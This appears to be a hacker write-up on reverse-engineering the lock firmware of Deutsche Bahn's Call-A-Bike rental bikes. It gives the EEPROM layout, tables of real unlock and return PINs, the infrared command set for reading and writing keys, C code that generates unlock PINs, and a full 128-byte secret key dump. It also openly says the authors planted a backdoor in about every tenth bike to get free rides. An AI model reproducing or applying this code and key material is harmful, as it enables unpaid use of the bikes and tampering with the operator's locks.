Ever needed to get somewhere quick but you had no car, too late for public transportation and a bicycle could solve your problem? In Berlin and other big cities in germany the german railway company 'Die Bahn' offers a solution with the "Call-A-Bike" service. Read about the backdoor we put into nearly every 10th bike, which gave us all the free rides we needed.
EEPROM Content: 0x0000 - 0x0001 unused 0x0002 lock_sensor_calibration 0x0003 - 0x0019 unused 0x001A - 0x001B 16bit counter (scrambler) 0x001C unused 0x001D - 0x001F CallABike Number 0x0020 - 0x009F 128 Byte Random (Key) 0x00A0 - 0x00A2 first three bytes of key again 0x00A3 - 0x00AF unused 0x00B0 - 0x01FF textmessages for display
bikecounter: 0x015E EEPROM belongs to bike 3856 Counter 0x0162: 3042 9843 5360 <-- rentcode -00- -01- -02- -03- -04- -05- -06- -07- -08- -09- -10- -11- -12- -13- 00: 8584 7572 6970 4597 9119 4285 2144 0277 3197 0072 5545 6487 6341 9664 01: 5244 2345 5463 6065 9493 2971 9352 5402 5519 4579 8355 9533 9245 4926 10: 6615 7508 8159 7355 8125 3632 2920 4348 0484 7784 0084 6154 8905 6742 11: 6234 7953 4741 7386 8181 2930 6280 8658 6805 5432 4092 7161 2070 8554 Counter 0x0164: 7240 7043 9766 <-- rentcode -00- -01- -02- -03- -04- -05- -06- -07- -08- -09- -10- -11- -12- -13- 00: 1542 5463 4821 7206 8181 5293 5100 8370 7662 7831 6561 1071 9350 7554 01: 8480 7640 5094 4420 7470 5025 6472 0596 9260 5499 4274 0341 7092 7363 10: 6369 3545 6991 9042 0121 7702 7931 5600 6755 8264 9063 9596 6918 8761 11: 4254 0960 8294 7529 9793 4954 5455 9345 0183 3995 4992 5949 4392 9538 Here you see the open and close pins of the bike 3856 with the counter at 0x0162 At first the Customer gets the open pin 3042. When the customer closes the lock and everything is ok he gets the return code 8584. When for example the battery (-01-) is exhausted he gets the return code 7572.
The following commands are possible via infrared: 0x5B read bikenumber 0xCE calibrate coil 0xC5 read RAM from 0x00AD after transmit of the first 32 bytes of the key 0xCA enable watchdog (reboot) 0xC8 write and read the key of the EEPROM 0xCD write and read other parts of the EEPROM
//code to generate the open and close pin
unsigned char g_key[4];
void scrambler(uchar param, long counter)
{
long bitoffset;
uchar r21 = param, r28 = 1;
short r27_26 = counter, short r31_30;
r28 <<= r27_26 & 7;
r27_26 += r21;
r27_26 &= 0x3ff;
r31_30 = r27_26;
r27_26 <<= 5;
r27_26 -= r31_30;
r27_26 &= 0x3ff;
r27_26 += r28;
r27_26 &= 0x3ff;
bitoffset = r27_26 & 7;
r27_26 >>= 3;
r27_26 += 0x20;
r27_26 &= 0xff;
fillkey(r27_26,bitoffset);
}
void fillkey(long address, long bitoffset)
{
uchar r16;
long fullkey;
fullkey = eeprom[address++] << 16;
fullkey += eeprom[address++] << 8;
fullkey += eeprom[address++];
fullkey >>= bitoffset;
r16 = fullkey & 0xf;
if(r16 >= 10) r16 -= 10;
g_key[3] = r16;
r16 = (fullkey >> 4 ) & 0xf;
if(r16 >= 10) r16 -= 6;
g_key[2] = r16;
r16 = (fullkey >> 8 ) & 0xf;
if(r16 >= 10) r16 -= 10;
g_key[1] = r16;
r16 = (fullkey >> 12) & 0xf;
if(r16 >= 10) r16 -= 6;
g_key[0] = r16;
}
//the key from CallABike 2883
unsigned char eeprom[ ] =
{
0x5A,0xD5,0xAD,0x6B,0xFD,0xD7,0x34,0x78,
0xB3,0x03,0x22,0x13,0x61,0x23,0xAD,0xFE,
0x51,0x6E,0xAA,0xA2,0xD4,0xB7,0xBA,0xC0,
0x78,0x9A,0x84,0x55,0x2A,0xB9,0x6E,0xBC,
0x33,0x15,0x2C,0x97,0x33,0x98,0x4B,0x78,
0x43,0xE5,0x20,0xD5,0x1C,0x1C,0x75,0x12,
0x2A,0x91,0x17,0xFC,0x0C,0x61,0x31,0x31,
0x50,0x6D,0xFD,0x5C,0xC5,0x60,0x8D,0xE0,
0x0A,0xF2,0x85,0xF1,0x3B,0xA3,0xBD,0x74,
0xF3,0xD4,0x9E,0xBB,0x45,0x95,0x69,0x24,
0x79,0x36,0x9A,0xA6,0x66,0x96,0xFB,0xE8,
0x5D,0x38,0x34,0x28,0xC0,0x51,0x3B,0x18,
0x46,0xCA,0xD9,0xE3,0xD7,0xC8,0x86,0x01,
0x11,0x60,0xF2,0xF0,0xA4,0xA4,0xEF,0x16,
0x3E,0xBE,0xB9,0x1F,0xA8,0xF9,0x61,0x0B,
0xD6,0x7F,0x75,0xE7,0xF4,0x31,0x3F,0x6B
};